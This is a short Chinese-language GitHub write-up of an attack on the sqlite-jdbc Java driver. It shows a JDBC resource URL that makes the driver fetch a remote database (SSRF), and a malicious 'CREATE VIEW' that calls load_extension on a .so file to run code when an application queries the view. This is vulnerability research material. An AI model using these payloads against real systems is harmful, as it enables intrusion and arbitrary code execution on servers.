Skip to content

Latest commit

 

History

History
38 lines (22 loc) · 1.24 KB

index.md

File metadata and controls

38 lines (22 loc) · 1.24 KB

SQLLite With SSRF

当sqllite建立连接是会调用org.sqlite.core.CoreConnection#open

可以看到这里有一个extractResource

这意味着如果我们准备一个连接,如jdbc:sqlite::resource:http://127.0.0.1:8888/poc.db,SQLite将连接该地址并从中获取内容。这确实会导致SSRF

如何拓展攻击面呢

参考 "选择code_execution从 * 使用 SQLite;- 检查点研究 (checkpoint.com)",我们可以利用 "CREATE VIEW "将不可控的SELECT语句转换为可控。

如果我们能够控制SELECT语句,我们可以使用SELECT load_extension('/tmp/test.so')来加载dll/so并执行邪恶的代码,但是在现实世界中,在目标系统上拥有可控制的文件并不容易,而且load_extension默认设置为关闭。

首先我们对恶意的sqlite文件执行

create view y4tacker as SELECT (select load_extension('/tmp/1.so'))

之后当我们执行statement.execute("SELECT * FROM security");的时候就可以实现攻击

依赖给出便于复现

<dependency>
  <groupId>org.xerial</groupId>
  <artifactId>sqlite-jdbc</artifactId>
  <version>3.8.9</version>
</dependency>